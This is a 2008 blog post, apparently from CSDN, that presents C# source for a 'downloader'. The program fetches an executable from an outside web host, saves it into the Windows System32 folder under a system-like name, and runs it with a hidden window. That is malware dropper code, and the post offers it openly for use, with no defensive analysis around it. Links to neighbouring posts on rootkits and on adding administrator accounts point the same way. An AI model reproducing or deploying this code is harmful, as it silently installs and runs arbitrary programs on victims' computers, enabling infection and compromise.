原创 Downloader Code For CSharp收藏

新一篇: LKM Rootkits on Linux x86 v2.6 | 旧一篇: Using Win32 API NetUserAdd and NetLocalGroupAdd to Add a User Account in Administrators Group

Downloader Code For CSharp

BY Delphiscn(Delphiscn@gmail.com)http://blog.csdn.net/delphiscn

Environment:  Windows Vista Home Premium   VS 2005   Net 2.0

using System.Runtime.InteropServices;
using System;

class Task
{
    [DllImport ("Shell32.dll")]
    public extern static int ShellExecute([MarshalAs(UnmanagedType.LPTStr)]  int  handle, String lpOperation, String lpFile, String lpParameters, string lpDirectory, int nShowCmd
);
    [DllImport ("urlmon.dll")]
    public extern static int URLDownloadToFile([MarshalAs(UnmanagedType.LPTStr)] string  pCaller, string szURL, string szFileName, int dwReserved, string  lpfnCB
);
    static void AboutCoder()
    {
        Console .Write("+=====================================================+");
        Console .Write("Code BY Delphiscn (Delphiscn@gamil.com) http://blog.csdn.net/delphiscn");
        Console .Write("+=====================================================+");
    }

    static void Main()
    {
        //AboutCoder ;
        URLDownloadToFile(null ,"http://www.lzitw.com/kj/hoho.exe","C:\\Windows\\System32\\Windll32.exe",0,null );
        ShellExecute(0, "open", "C:\\Windows\\System32\\Windll32.exe", null, null, 0);
        return;
    }
}

More Information could be found at: https://forum.eviloctal.com/read-htm-tid-30957.html


 

发表于 @ 2008年01月28日 22:10:00|评论(loading...)|编辑

新一篇: LKM Rootkits on Linux x86 v2.6 | 旧一篇: Using Win32 API NetUserAdd and NetLocalGroupAdd to Add a User Account in Administrators Group

评论:没有评论。

发表评论  


登录
Csdn Blog version 3.1a
Copyright © 严竞雄